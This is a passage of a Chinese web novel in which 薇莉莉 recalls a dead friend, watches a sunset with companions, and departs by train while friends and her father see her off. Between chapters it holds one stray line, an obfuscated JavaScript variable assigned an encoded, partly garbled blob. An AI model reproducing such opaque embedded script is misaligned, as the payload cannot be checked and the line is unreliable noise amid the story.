撞碎一面虚无缥缈的镜子,无数镜片散开,如绽开的花朵。光与镜片相接的缝隙是未来与过去的界限,透过镜片下的缥缈能看到时间的影子。一刻打破界限,过去的影子悄然回到了这个世界。一阵凉爽的清风吹来,回忆乘着风中的列车归来。 现在与过去相交织,命运的轮盘悄悄倒转。她一个不留神就穿过了时间的门,转眼间又回到了怀念着的往日之中。熟悉的风儿、熟悉的烈日、熟悉的荒漠、熟悉的每一处不曾在意的细节......最为重要的是,那个熟悉的、那个所挚爱的、那个最为温柔的他。 不经意的一个转首,她又见到了他。一颗蓝色的彗星插入两道闪电之间,陪同它们一起驰骋在荒野。再会时他仍是笑面,他的笑灿烂如绽放的夏花,还是那一往不变的温柔。他同这盛夏,带来无穷的温暖,悄悄而又无私。当年的那份温暖依旧,如今又在她心中升华。 他曾驻留的时候,每一日都是温暖常驻,即便阴云密布、风雨交加,只要抬头,也同晴空万里一样。他的心地如雪,却有别样的炙热。雪花凝结成华,泛着光落下,如从天堂陨落的星尘。铺盖她的心田,落成一片金色的雪原。雪下是一片沉睡的土地,是来年注定是生机盎然的土地。那片土地之中有着熟睡的花灵,一颗一颗花种正在土里等待春天。 今日,她不同往日的冷漠,她主动对着他笑了起来。此刻,两人之间再无隔阂,一扇大门敞开于此。两人彼此凝视着对方,心中都有着不同的真挚情感。两人的世界交织在了一起,相融之后促成美好的刹那。不足三步的距离如同千山万水,两人都隔岸观望着彼此。过去的残影只是片刻的生命,虚无缥缈之中又处处体现着真实。 唯独可惜,她的真情也只是自己的自说自话。她心中对他声声呐喊,他却听不到一丝一毫。今天的风儿有些大,他正巧又有些耳背罢。她用心声一遍遍地呐喊着,不管他有没有听到。即便眼中的他只是个泡影、即便现实那样冷酷无情,也无法阻止她去呐喊、去表达自己的心声。 他似乎听得到她的心声,尽管他只是呆呆地笑着、默默地看着、痴痴地等着。他的无动于衷她并不在乎,她只在乎自己能够说出那些话来。那个记忆中如星辰一般的暖系男子,无论什么时候都是那样温柔、善良、优雅。 蓝色彗星在阳光中融化,回忆随着彗星的碎片散向天空。过往的一幕一幕再度浮现在她的眼前,一段又一段的对白浮现在她的脑中。 “姐,等等我!你骑得太快了,就跟风一样。因此姐你得减减速,小心出事故。” “少废话!你骑得就跟蜗牛似的,我把马力放到一半都比你快。我家楼下那个大爷都比你勇敢,你这速度顶多跟老年人去竞速。真是的!既然是摩托党,那就得追寻些刺激!” “姐,这可不行。这会承担很大的风险的,不能这么鲁莽。事故一出就会是个令人苦恼的结,要花很长时间才能解开的。” “怎么?你怕了?” “怕?说来也有点。” “你可真是的,怕就不要来骑车了吗。就像你这样的,一头撞死的也不少。稍有不注意,你可能就翻沟里去。运气好受点伤,运气不好可就一命呜呼了!你想过没有,这出个事可咋整?” “没关系的,姐。感谢你的关心。我有自己的骑行风格,我能保证我自己的安全。况且,不有您在呢吗?依照姐你的实力,死神都掰不过你。我这条小命,姐定会守护住的。” “那可不是!有我在,你肯定会没事的。只要别一头撞死在树上就行。唉......你这家伙可真是独特。” “哈哈,姐......” 他如星一般消隐、如风一般离去,笑着到来也是笑着离开。悄悄地,他离开了,就同他悄悄地来。 她再次穿越时间的门,转眼间又回到了现实之中。回忆刚刚的一切,她心里是说不出的五味杂陈,其中甜意与感动居多。虽是幻想的缥缈,但是醒来时仍然感动。 骑行一大圈之后,薇莉莉和殇绕回了起点。那是一座设备很完善的荒芜小镇,位于荒漠的中心区域。小镇中配备了很多专业设备,大多都跟汽修有关系,似乎是专门为摩托党所设计的。曾经这里是有人居住的,许多细节展示着这里曾经的样貌。后来这里的住民变成了旅游者,就是那些摩托党。现在这里只剩下了寂静,很少再有来客到这里来了。 薇莉莉和殇在小镇边缘的加油站处停车,将车锁好后又给车加了点油。加完油,她们与伊和茵萌萌汇合,在镇中的大剧院中歇息。她们去到了大厅外的内阁二楼,因为那里有着一扇窗户,她们想在歇息的时候去眺望晴空。在窗前找到椅子后坐下,她们一边看着晴空,一边歇息着。 望景生情,情到自然处,薇莉莉不禁开口坦露心中言。 薇莉莉: “久违的舒心,是熟悉的感觉啊。驰骋在荒野之中,每一口空气都是清新的!每一寸光照都是温暖且耀眼的。我好像回到了那个盛夏,突然就年轻了一把。那时生活有多美好啊!可惜现在他不在了,只剩我和萌萌了。” 薇莉莉叹了口气。她的眼中的晴空还有几朵云彩,天并不是单调的蔚蓝。 薇莉莉: “未来的路,还很漫长呢。” 茵萌萌: “姐......” 薇莉莉: “唉......过去的,就让它过去吧。坦然面对生活,就像我们从不惧怕敌人。生活还得继续,你说对吗?萌萌。” 茵萌萌: “对的!” 这时,伊发问了。 伊: “薇莉莉,你找到你想要的那些了吗?” 薇莉莉: “找到了,而且还不少呢。可惜有些路上弄丢了,找不回来了......” 伊: “我想那些,定是如钻石一般璀璨的吧。我都能想到它的光辉了呢。耀眼如星辰啊!” 薇莉莉: “我想也是的......——它里面多是苦涩,我想那些是我的泪吧。据说泪是苦的。甜如蜜的不能带来苦涩,如糖一样怎会有苦涩一说?” 日落时分,四个人坐在某座小山的山巅,正静静地凝望这轮落日。 缤纷的霞光照耀寥廓的天空,像一位才高八斗的画家一样,在碧蓝色的画纸上作画。它笔下的天幕是波澜壮阔的海,色彩就在浪花的冲击下流转在其间;它如洁净的丝绒与绸缎,镶嵌着条条贴着浪花的金丝,当中散发着晚霞的灿烂。霞光中的云儿们换上了新衣裳,变得姹紫嫣红又多了几分妖媚,如一位位仙子畅游在天幕海洋中。霞光很美,似天宫的仙女。披上彩衣的云彩更美,美到说不出它的美来。 当霞光变成紫霞,那时天幕最美。此时光与暗恰巧制衡,到达了最完美的刹那。这时正逢暖风拂面送来温暖,又巧心宁神爽意气风发;通感带来美的升华、情的苏生,让人不由得认为天幕的美毋庸置疑。沉浸在这样的美景之中,每时每刻都能感受到五官上的舒适。 在霞光的照耀下,那些云儿们不再悠闲地乱飘,而是集体飘向了一个共同的方向。几分等待,云儿们簇拥在了天边,像是送别的队伍,深情送别即将远行的太阳。一个夜晚不算太长,更何况夏日的夜比白天要短很多。但对于这些云儿来说,也许等待一个夜晚过去如同挺过十年煎熬。云儿们依依不舍地送别了太阳,又满心欢喜地迎来了星辰。 望着落日,薇莉莉忍不住感叹道: “这落日,真美啊!我从未觉得它有这么美过。也许......是我未曾去留意吧。今天能看到,也算是我的好运了。” 茵萌萌: “这落日真美啊!美到我都不能描述!” 伊: “的确。今天的落日不同于往日,它今天格外的美。” 殇: “的确啊,不过这落日之中还带着几分凄凉呢。” 这时,伊转头看向薇莉莉和茵萌萌,问道: “你们两人想好以后的生活了吗?” 薇莉莉率先回答道: “想好了。我要带着萌萌过上好生活,完成我们共同拥有的那份梦想。并且......” 薇莉莉抚摸茵萌萌的头,对着她笑了。她见了,也对薇莉莉笑了。两人对视一眼,然后薇莉莉继续说道: “我得让这丫头过得好好的!我姨妈把她托付给我,就是让我照顾好她。要是她过得不好,我的良心也过不去。更何况,这丫头还是我的好搭档。” 茵萌萌呲牙笑了笑,说: “姐......放心吧!到了新地方之后,我肯定不会丢你的脸的。我会把每件事都做得棒棒的,让你为我骄傲一把的!” 薇莉莉笑着问她: “你能做到吗?” 茵萌萌坚定地回答道: “一定可以的!姐。相信我!” 薇莉莉放下手,对她露出了欣慰的笑容,算是对她的一种认可。见到薇莉莉如此,她很开心地笑了。 这时,殇开口问薇莉莉: “要离开这里了,你有什么想说的吗?” 薇莉莉回答他: “想说的?也有点......” 薇莉莉拔出腰间的银色左轮,将它拿在手中好好观摩。它上面的花纹还很清晰,其上银白色的光泽如旧,还是那般熠熠生辉的样子。她深情地抚摸这把手枪,就像是在抚摸一份珍重的宝物。 殇: “这把枪是?” 薇莉莉: “‘猎象者’,他的配枪。” 殇: “你是怎么弄到的?” 薇莉莉: “他的弟弟回收了他的遗物,我也参与到其中,帮了些小忙。也许是知道他对我的感情很深,他弟弟特意将‘猎象者’留给了我。” 殇: “他弟弟人也跟他似的,都挺好的。” 薇莉莉: “对呀。不然这份至关重要的物品,怎能会落到我这个外人的手中呢?这把枪可是他来的时候抵在我脖子上的,是打开我们之间故事的钥匙。那时候他可真的是勇敢啊!敢在那么多人面前这样用枪指着我,而且丝毫没有害怕。要知道,那种行为无异于是在找死!因而我很佩服他,能做到这种壮举的人至今还只有他一个。那种勇气就跟战士一样!伟大的战士啊!” 殇: “这勇气值得称赞!想不到这小子以前竟有这样的壮举。我还以为他看着文绉绉的,一举一动也定是文绉绉的呢。” 薇莉莉: “是啊,我当时也跟你想的一样。但是吧,后来我也渐渐了解到了他真实的样子。他的勇气没我想的那样如火如烈,反而是忧郁之中带着些温柔。就是一言一行,一句普通的话,也能彰显他的这份勇气。同时......他也跟一位导师一样,教会了我很多道理......” 说到此处,薇莉莉有些黯然神伤。她的表情变得有些难过,她的眼神中蕴藏着深深地愧意与怀念。回味起当初的自己,她既懊悔又自责,若她当初能勇敢一些,也许她就能在有限的生命之中,少留下些遗憾。 薇莉莉的眼角泛起了泪花,她突然把泪憋了回去。她开口想说些什么,但话到嘴边又憋了回去。也许是她想到了伤心处,或是谈论的话题触碰到了她心中的柔软处,她突然就一声不吭了。 她低下头思考了一会,又抬起头来去看落日与余晖。她迷茫的眼神之中满是哀伤,她面部的每一处表情细节都显现出她心中的悲伤。似乎是落日与余晖给了她答案,她不再迷茫,感觉心旷神怡。 酝酿片刻感情,她开口继续诉说。 薇莉莉: “生命的意义,爱的真谛......那晴空与星辰就是他传达给我的答案。那是我见过最浪漫、最完美的答案!无可挑剔。唯独可惜,我却再也没机会能听到他讲课了。” 殇: “确实是挺可惜的。” 伊: “对呀!他这样好的人,竟走得如此匆忙。真是可惜......” 薇莉莉: “要是能再听到他的教诲就好了。我这会肯定会认真去听、用心去领悟他的一字一句。诚然那很美好,但现实冷酷就在于此。脑中的世界总是美好的,可真实却总是刺痛人心灵的。” 殇: “别太为这件事难过了。他临走之前,留下的唯一愿望就是你们能愉快地生活。他不喜欢看你们落泪,也不喜欢看你们受苦。” 薇莉莉: “不愧是他......就是离开也是这般......温柔啊。” 说到这里,薇莉莉的表情又有些难过。这时,殇拍了拍她的肩膀。她转头看向殇,殇给她指了指天上的云彩,告诉她: “不必惆怅与悲伤,看看天上的云朵吧,它们正自由自在地飘着呢。也许其中有一朵,还想载着你的愿望去远方呢。” 薇莉莉看着天上的云彩笑了,她头一次因为如此简单的理由而发笑。 薇莉莉: “殇,你想告诉我些什么呢?” 殇和伊对视了一眼,两人用眼神交流了一下。然后殇回过头来,抬头看着天上的云彩,深情地说道: “我想告诉你的,就是那些云朵的含义。” 薇莉莉不解,问: “为何要告诉云朵的含义?难道它们有什么特殊的意义。” 殇回答道: “有。它们的含义可不匪浅,深重的很呢!” 薇莉莉好奇地问: “真的吗?说来听听” 殇露出微笑,看着天上的云彩,深情地说道: “云不同人,它们的欢乐只有刹那的断绝。别看有时天有阴云密布,殊可知那是云儿霸占了天空。人不同云,他们的欢乐可能只有刹那。别看城市的灯光从未熄灭过,殊可知有多少人生活在黑暗之中。如云彩一样的活着,也许本身就是种奢求。” 说完,伊紧接着补充道: “但奢求不代表不能去追求,反之这才是去追求的理由。就如向往星的人始终在追着星奔跑,向往着幸福的人始终在忍着痛前行......” 最后,殇和伊一同说道: “勇敢地去追逐吧!哪怕到头来是粉身碎骨啊!” 听到他们这么说,薇莉莉笑了。她笑着对殇和伊说: “你俩可真是的......说的也对,说的也对啊......” 一旁的茵萌萌听了,被深深地震撼到了。她惊呼道: “哇!好有哲理的话啊。” 殇和伊彼此对视一眼,又冲着对方一笑。两人之间的默契与日俱增,形如父女般的关系让他们更加理解对方;对方心里在想什么、将要说出的下一句话是什么......他们统统知道。当然,除了彼此秘密与私事。他们彼此之间共同拥有的一切都无隔阂存在。 望着眼前的余霞美景,伊感叹道: “这就是生命啊!它所包含的意义,本身就在追寻的过程。生命就像旅行,美不胜收的风景都在路上,生或死的始与末只是个节点罢了。生命就像鲜花,绽放前的含蓄中才是美的姿色,绽放与凋零终究不过是一瞬。” 殇: “不必惆怅,静待日出。明日黎明,注将耀眼。夜已过去,天将启明。明日道路,必将明朗。风暴已去,拨云见日。放眼展望,晴空万里!” 听完殇和伊说完这些道理,薇莉莉和茵萌萌都有些许感动。回望她们自己短暂而充满遗憾的一生,她们愈发觉得这些话非常有道理。并非是单纯的激励她们,而是阐述了现实的客观规律,让她们领悟到这道理其中所蕴含的思想觉悟。 薇莉莉抬头看向余霞怀抱中的赤色残阳,凝神思索起眼前的这一幕。残阳的余晖虽然暗淡,不及正午时分的炙日那般耀眼,但它时刻温暖着大地,用自己仅有的微薄之力去发光发热。它默默地奉献着,无言的忠义是它最响亮的口号。天上的余霞虽然美丽,但不及浩瀚星河一分姿色,它守候在在天的一方,以宽广的胸怀坦然迎接夜的到来。它平凡地存在着,片刻的舞姿是它最美丽的一瞬。夜幕将至,残阳和霞光结伴离开天空舞台,留下星与月在舞台上歌唱、起舞、演奏。 凝视这皎洁明月与八方星宇,薇莉莉被美到不由得连连惊叹。此情此景,她的心中顿时涌动起澎湃的浪潮,似浩荡的啸流在阵阵波澜中飞驰、奔涌。那是她的一腔热血,那是星辰在她心中的燃烧! 她露出一抹微笑,翘首眺望星河。星宇之间的障壁,仿佛通透起来。一颗孤独的灵魂隔着银河,正眺望着留恋人间的同伴。两颗灵魂呼唤对方,一人发出信号,一人做出回应,没有丝毫的犹豫。她希望能看清楚在银河对面的他,可除了满目星辰以外她别无所见。因而她只能暗暗祈祷,夜空中最亮的那颗星是他在人间的残影。 望着眼前的景象,薇莉莉深情地说道: “即便今朝痛苦万分,仍要抬起头来去面对未来。就让往事随云烟飘去吧,我还要背起行囊去远行。” 星光映照她的脸庞,他的光辉似乎依存在其中,正悄悄地给予她动力与温暖。一团星火引入她的心房,悄悄点亮无尽的黑夜。泪珠凝结成花华,在她心中开放。星火之光映照一位红发天使婀娜的身姿,泪色花华在她的脚下迎着星光悄然盛开。 她在黑夜的舞台上起舞,全身散发着独特的光。她,为了黎明而高歌,歌声中的激昂是她不溯的祈望;她,为了晴空而起舞,舞蹈中的优雅是她技巧的高超;她,为了星辰而落泪,每一滴泪水都是她真情的表达。天使并非是完美,她的身上伤痕累累、遍体鳞伤。可她的身姿仍显美丽!平凡所生的淡淡光辉,凸显了她丑陋的那一面,也凸显了她美丽的那一面。正是因为她平凡如尘埃,又耀眼如星尘,不凡下映照出平凡,平凡又凸显出不凡,因而她平凡而又伟大。所以她是才如玫瑰一样的女人啊! 薇莉莉心中的感情凝聚成星辰,在她心中闪耀着。望着天上星光璀璨,她的心中也不平静。千言万语集成一句动听的话语,一幕一幕过往凝成真挚的情感;两者融合在一起,就是她心中的星海苍穹。含蓄片刻,酝酿刹那,她缓缓开口,对着眼中的浩瀚星河深情地吐露道: “如星辰一般的决心,是我注将奉行一生的信念。星北空,你似天上不灭的银星为我带来薪火,点燃我的四季。我将如花蕾绽放在你眼中,让美丽陪伴你的每个朝暮,升华你的光彩。” 一阵暖流涌上心头,那是奔涌如潮汐海啸的真情,她的心里此时波涛汹涌如洪水乱流。她难掩心中的感情,不愿用心语去表达,而是开口直接坦露出这份感情。也许此时太迟,但还为时不晚。她深情地说: “我爱你,我亲爱的挚友,星北空。愿星海之上的你能够幸福、愿天下的所有人都能幸福,不留遗憾地活着、更愿这个世界能更加美好。但愿天下皆长久,共赴人间盛世颜。” 周围的三人听到这番话语后都惊呆了,都木讷地看着她。她丝毫没有在意身旁几人的目光,此时的她已为之放下了所有面子,她以往都不会这么做。说是鲁莽,但实则是智的体现。诚然这会让她感到青春为她送来的羞涩,但她仍会开口说出这份情,隐晦的滋味她早就品尝多时而厌倦几分,那是苦涩与痛苦的并存!深沉的情感汇聚在一点,随即绽放、爆发,如新星诞生时的那样绚丽与浩瀚。她深情感叹道: “这是个充满美丽与遗憾的世界啊!” 说完这句话,她痴痴地看着星空,不知不觉间沉沦在其中。泪珠一滴又一滴淌出她眼角的岸堤,顺着她洁白的肌肤缓缓落下。绚丽的星光照耀温暖的泪滴,悄悄地隐入其中,汇聚成绚丽的泪之华。一阵清凉的晚风迎面吹来,吹来夏的温柔与爱恋。赤发如喷涌而下如瀑布那般,在风的吹动下化身舞者摇曳起舞。一滴又一滴落下的泪滴搭上风的快车,乘着它匆忙地西去,带上她的思念与心语,还有一封送往星海之上的信件。也许这封信送不到地方,永别的时刻早已过去了。风不辱使命,仍肩负重任,即便结果已然注定。也许这就是这世界最大的勇气吧。即知命运的终末也依然要撒手去做,赌上自己不曾拥有的一切,坚守心中如烈火一般的信念、相信希望的种子会在贫瘠中发芽。即使前路是死亡,也依然勇敢地前进,从容去面对命运,潇洒去追求梦想。似流星划过天边的一瞬,就像星辰一般的决心啊! 晚风,稍有些寒冷但不失温暖,是夏最忠实的伴侣,也是惆怅迷茫之人的伴侣。今日,它陪伴了两个追忆而来的人,也陪伴了万千如她们两个一样惆怅的人。也许这就是晚风的魅力吧,是不曾被铭记的温暖啊!人间最值得赞颂的,便是如晚风一样的存在。 那份真谛,生而伟大,死而伟大;是真情,是人间的四月天。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—最终话:背上行囊,注将远行 通历43年8月20日,转眼间就到了离别的日子。今天薇莉莉和茵萌萌要离开这座熟悉的城市,向着充满未知的地平区进发。这是好事,但说不上太好;这也是件坏事,但也说不上太坏,总之对于她们来说是好的那一面多些。既然要走,总是有些放不下的,但不走又不行。踌躇在担心之中,犹豫在彷徨之间。但无论如何都是要走的,所以也就咬咬牙,狠下心来决心去离开了。 上午11时36分,在欢送队伍的簇拥下,薇莉莉和茵萌萌来到了火车站,登上了一列前往曙光市的列车。站台上,作为朋友的殇和伊在人群前与她们告别。这一幕似曾相识,倪汝美离开前也是这样。告别时她们笑着,欢送的人群挥手。挥手时,能看到茵萌萌在流泪,一旁的薇莉莉眼角也有着泪水。离别总会让人感到伤感,无论何时何地都是如此。 列车即将发车,薇莉莉和茵萌萌对着欢送的人群进行了最后的告别。告别过后,她们就将离开,也许再也不回来。 薇莉莉: “再见!大伙。再见!伟大的战士们。再见!姐妹们。” 茵萌萌: “拜拜喽,大家。我会想你们的!” 斯特迪罗家族成员卡司: “注意安全!大姐头。到了新地方可没人会罩着你们了......总之,注意安全!” 薇莉莉: “我会注意的。感谢提醒!” 斯特迪罗家族话事人涅斐丽: “一路顺风哦!祝愿你们可以在地平区过得风生水起、生活滋润。还有,遇到什么事无法回头了可别担心,回到我们身旁来,斯特迪罗家族永远欢迎你们。再怎么样,我们也不会让家族的成员活得糟糕。” 茵萌萌: “谢谢!谢谢大家。” 埃罗: “茵萌萌,到了新地方别忘多吃点肉,多长点个儿。” 查尔拉打了埃罗一拳。 查尔拉: “埃罗,你说什么呢?都这时候了,怎么还有时间开玩笑?” 埃罗: “老婆大人息怒,息怒......我寻思活跃下气氛,没别的意思。” 茵萌萌捂着嘴偷笑。 茵萌萌: “哈哈哈,埃罗哥,你又惹到查姐姐不高兴了。唉......埃罗哥,以后好好对待我查姐,我走了可没人能给你们调解好关系。” 埃罗拍拍胸脯,信誓旦旦地保证道: “不用担心。我会好好对待她的。她可是我的天使!” 茵萌萌: “那最好了!埃罗哥。” 薇莉莉: “妹妹,我走了之后你和埃罗一定照顾好彼此,你身边也就只有埃罗能让我放心了。” 查尔拉: “我会的。姐姐。” 薇莉莉低下头,小声嘀咕道: “难得这么叫我一次......” 查尔拉: “诶?” 薇莉莉: “没事没事。” 伊: “薇莉莉,茵萌萌,你们两个一定要幸福啊!” 薇莉莉和茵萌萌: “诶?!” 伊: “一轮顺风啊!” 薇莉莉和茵萌萌对视一眼,然后一起说了声: “嗯。” 伊: “你们永远是我的好朋友!” 薇莉莉和茵萌萌: “你也一样,伊。” 殇: “一轮顺风,路上注意安全。还有,别忘了过得快乐点,这是我们共同希望的。” 薇莉莉和茵萌萌: “知道了。大名鼎鼎的殇先生。” 殇: “唔。这时候了,还这么称呼我。真是的......” 这时,从人群之中走出了一个健硕高大的身影。殇和伊转头看去,顿时间四五双眼睛齐刷刷地看向了他。认出他身份的瞬间,在场所有人都惊愕住了。欢送的人群一下子寂静下来,瞬间吸引到了周围人的注意。片刻沉寂之后,薇莉莉和查尔拉回过神来,惊呼道: “爸爸?!” 原来那人不是别人,正是二人的亲生父亲青莲。见到自己的父亲之时,两人的表情都很惊讶。她们为此想过他会来送别自己的女儿,在她们的印象中她们的父亲一向是忙碌的;除非是家里出了什么大事,或是一些有纪念性的日子,不然她们的父亲是不会现身的。如今唐突地出现在她们眼前,这着实惊讶到了她们。 青莲见她们这个反应,露出慈祥和善的笑容。他一反常态,原本的威严与冷酷不再,反而表现出些许温柔。他看起来慈眉善目的,如一位老父亲一样。他用粗犷又带有几分温柔的嗓音问她们: “怎么,见到我不高兴吗?” 薇莉莉: “爸!你......” 薇莉莉顿了一下,突然之间不知说些什么好。片刻宁静后,她与查尔拉同时开口,一同问出那句: “你怎么来了?” 青莲笑了笑,说道: “怎么?身为父亲,还不能送送女儿吗?” 薇莉莉和查尔拉彼此对视一眼,她们的眼神之中满是不可思议,仿佛在说:“这是不可能的事!”。刹那对视之后,薇莉莉转过头来,冲她父亲露出笑容,很开心地说: “感谢爸爸能来送我。” 这份感谢听着很温暖,但却让青莲觉得心酸。因为他亏欠自己的家人太多,他觉得自己不配享有这份温暖。奈何他所承载的使命艰巨万分,儿女情长终究是他不能捧在手心的宝。 青莲: “谢什么,都是应该的。女儿要走了,送送也不是合情合理的吗。谁叫我是你的父亲呢。” 查尔拉: “爸,你能来我和大姐都挺高兴的。我和大姐也知道你忙,能体谅你的苦衷的。” 青莲: “唉......能有你们这两个丫头,我这辈子算是没白活。” 薇莉莉: “爸,你今天能来送我是我万万没想到的。这是一份惊喜啊!一份您送给我的惊喜。” 青莲: “莉莉......到了新地方你和那个可爱的绿头发姑娘要照顾好彼此,有啥事了别忘去家族里的人帮忙,要是实在不行你们找我也行。我有很多认识的人,都能在那里帮到你们。多注意安全,毕竟未知的总是危险的。” 薇莉莉: “明白了,爸。” 青莲: “还有......” 青莲拿出一个青铜令牌,将其交到了薇莉莉手中。 青莲: “以后如果遇到一个叫任白珉的银发老人,请将这个交给他。他是退休的弥赛亚协会会长,还是个很强的冒险者。以后能在那里帮到你们。最后,拿着这个替我向你爷爷问个好。” 薇莉莉打量了一下手中的令牌。令牌上写着“红莲”二字,其中蕴含的深意透过这两个字散发出来。薇莉莉隐隐觉得,这个名字绝不简单。薇莉莉收好令牌,点了点头,答应道: “我会的。爸。” 青莲突然走上前去,对着薇莉莉伸出了手。薇莉莉看了他一眼,随即抿嘴笑了笑,一把握住了他的手。这是她们父女俩第一次握手。 青莲: “女儿,一轮顺风。” 薇莉莉: “你也一样,爸。” 跟薇莉莉握完手,他又跟茵萌萌握了握手。 青莲: “姑娘,你和她到了新地方一定要和睦,不要内斗。你们两个要好好地生活,别让我们这些牵挂你们的人担心。” 茵萌萌: “好的!叔叔。” 广播响了,列车的门开了。到了离别的时候,离别的双方总是带着一丝悲伤。虽是短暂的告别,但却感觉如同永别。时间不知不觉就到了,离乡者们也是时候该踏上征途了。挥手向着送别的队伍道别,也向着自己的过去道别。登上列车,却仍不时回望。每一次凝望他们的眼眸,总能觉得不舍与依恋,下一刻若是停留,似曾如往日一般生活。可人终究是要前进的,不能止步不前。最后步伐还是迈出,上了离别的列车。 坐上列车,仍依依不舍。隔着窗户看向站台,欢送的人群正集体挥着手,笑着向她们道别。她们注将远行,也许就真的再也不回来了。离别时的感伤也在此刻迸发,泪水就是这感情的倾诉。她们笑着流泪,隔着窗户品尝着离别时苦涩的滋味。这是她们第一次离开她们所熟悉的家,这也是她们第一次离开自己的故乡。列车虽还未发车,但那份失乡后的彷徨与迷茫已经笼罩了她们的心间。 “再见!大家。再见!我们的家。再见!东城。再见......再见......” 茵萌萌流着泪说道。这些话她是压低声音去说的,因为她迫切地想将话喊出来。她很激动,情绪也很失控。拉住薇莉莉的衣袖,她沉默着哭泣,尽可能压低声音,害怕自己的失态会让别人看笑话。薇莉莉也有些激动,但想在身旁还有个脆弱的姑娘,就遏住心中濒临失控的情绪,又显露出那份坚强的样子。她的告别只是简单两句,她怕说多了自己也会哭。 薇莉莉深情地说: “再见,我的家乡,还有我那牵挂着的一切。我会如玫瑰般绽放的,我会让所有期待的人们骄傲的。” 列车发车,离乡者正式踏上征途。车外告别的声音渐渐远去,曾熟悉的城市也在眼中愈发渺小。窗外的晴空上白云飘飘,耀眼的太阳悬浮在其中。飞鸟迎着夏风飞翔,似迅雷,以风为友翱翔在天空之中。它们的每一次振翅都是自由的。鲜花迎着阳光绽放,似舞者,无数蜜蜂蝴蝶与花一同起舞。它们的每一点姿色都是绚烂的。眼前的景象每一日都在上演,这是这里每日的常态。唯独今天,她们才觉得它如此美丽。 现在,她们才真正知道世界真正的模样。一直生活在狭小之地的她们,以为世界是狭隘的、是残酷的、是被鲜血所浸染的。但她们今天所见闻到的这些,再加上回望过去经历的那些,她们发现她们错的一塌糊度。这个世界是很美丽的,美到让人都说不出赞扬的话语;但也的确是很残酷的,无形的链锯正撕裂着这个分崩离析的世界。 薇莉莉: “也许,这就是他想告诉我们的那些吧......这个世界,远比我们想的要美丽啊,也远比我们想的要残酷啊!这是个美丽而又充满遗憾的世界啊!我们不过是其中的蜉蝣、高峰的攀登者、苦苦挣扎的折翼蝴蝶。” 茵萌萌: “姐......你说的好有道理啊。这种说话方式,就跟他如出一辙啊。说到他......忍不住就想到过去了呀。” 薇莉莉: “风暴已去,风平浪静。侍恐无归,唯惜终局。斯人已逝,拨云见日。放眼展望,碧空万里。” 薇莉莉将手搭在茵萌萌肩上,微笑着对她说: “背上行囊,我们注将远行!我们并不孤独,晴空与星辰伴我们左右。放眼展望,碧空万里;放眼张望,满目星辰!” 列车很快驶入车站。紧接着时间飞速流逝,只是小半天过去,那架搭在离乡者飞机就飞出了跑道,飞向了碧蓝如海、辽阔如洋的天空。它与云朵肩并肩,如自由的鸟儿一样在空中翱翔。它衬托着渺小而又耀眼的希望,飞向寥廓的天幕苍穹。 至此,她们的故事暂且画上了一个句号。随之,殇和伊在这里的故事,也即将迎来结束。 一段时间后...... 通历43年8月22日上午,一列列车驶入了车站。车门打开,两个带着墨镜的靓仔拎着行李下车。他们环视了一圈,确保没有敌人后快步走向车站出口。在走到车站门口的时候,一个女猎人拦住了他们。 “喂!师傅说了,你们两个不能走。” 她语气强硬地说道。他们彼此对视了一眼,耸耸肩,然后就在她身旁等待她师傅到来。不一会,苍白和她师傅结伴走了进来。苍白见到带着墨镜鬼鬼祟祟的他们,露出一抹疑惑的微笑,说道: “殇前辈,伊小姐,你们不必如此。我们能确保你们的安全,更何况还有无颜客在。” 听到苍白这么说,他们立马摘下了墨镜。在他们摘下墨镜后,一旁的那个拦路女人瞬间认出了伊,随即凑到她师傅无颜客身旁,小声嘀咕道: “师傅......那个女人需要我出手吗?” 无颜客见她如此,拍了拍她的肩膀,告诉她: “雷,她是我们的朋友,不是敌人。” 她听了,一脸疑惑。她小声地问无颜客: “为什么?师傅。她明明蕴藏那么多的荣誉与财富,为何要与她为伍?难不成,她有超越这些的价值?” “没错,徒儿。虚荣和财富对于她真正的意义来说不值一提。她是我们唯一的希望,是伊娜毕生心血所凝聚成的光之子。” 无颜客即答道。这个答案令她惊讶,她对伊的看法发生了变化。虽她此时仍有些疑惑,但她已然失去了对伊的猎取想法。她很听她师傅的话,她师傅的朋友就是她的朋友。同时,她也在心里揣测起伊来。 雷·邵心里: “师傅说她是我们的朋友,还说她是光之子、是希望。那么......她要么是强人一等的佼佼者,要么就是拥有特异能力的使徒。无论她是哪种,我都对她保持好奇。我很想知道,我能不能跟她成为朋友。也许可以的吧,我看她笑容中散发着温柔的气息,定是个软妹!嘿嘿......如果是软妹,那可就能被我拿捏了。如果那样......” 她露出一抹坏笑,然后心中开始胡思乱想。 雷·邵: “既然找不到男朋友,找个女朋友总行了吧。嘿嘿......我要攻略她,我要缔造一段坚实的友谊,我要让她成为我的伴侣。” 此时,苍白拿出战术平板,小手一动连点数下,点出一个全息信息板。全息信息板上是一连串复杂的信息和几张数据图。苍白仔细地看了下,然后收起平板,笑着告诉殇和伊: “殇前辈,伊小姐,航班已经准备就绪,一个小时后就可以起飞。现在请你们跟随我和无颜客的脚步,让我们护送你们登机。” 殇和伊: “好。” 苍白: “请随我来。” 说完,苍白领着殇一行人前往了机场。到达机场时,距离飞机起飞还有半个多小时。这半个多小时说来短暂,但等起来却十分漫长。在等待的过程中,雷主动找伊搭讪,随即两人就聊了起来。殇买了瓶矿泉水,然后坐在无颜客身旁,与无颜客聊了起来。 殇: “话说,你是都市之星对吗?” 无颜客: “没错。我是都市之星其一的无颜客,是名号为无颜的顶尖杀手。” 殇: “那你为何不去做收尾人?” 无颜客: “世界首脑规定,一切合法超能者都必须是星。都市的星,不能掺杂污秽与亵渎。” “超能者?熟悉的名字。” “如果你对此有过了解,你就该知道,这类人的通病都是短命。而且这份天生的超能易于变异,容易演变成可怖的诅咒。” “那这么说,倪汝美......” “没错。她正是超能者。不过她的超能异于常人,发生了可怖的变异。那份能力让她超越世间大部分人,就连收尾人也难以奈何的了她。这能力是现今看来基本无敌的能力:‘超拟态’,一种让物理无力的能力。” “卧槽!这么厉害!所幸倪汝美是个心善的姑娘,若这力量落在那些心怀叵测的人手中,定会惹出无数乱子。” “对了,你知道瑞恩吗?” 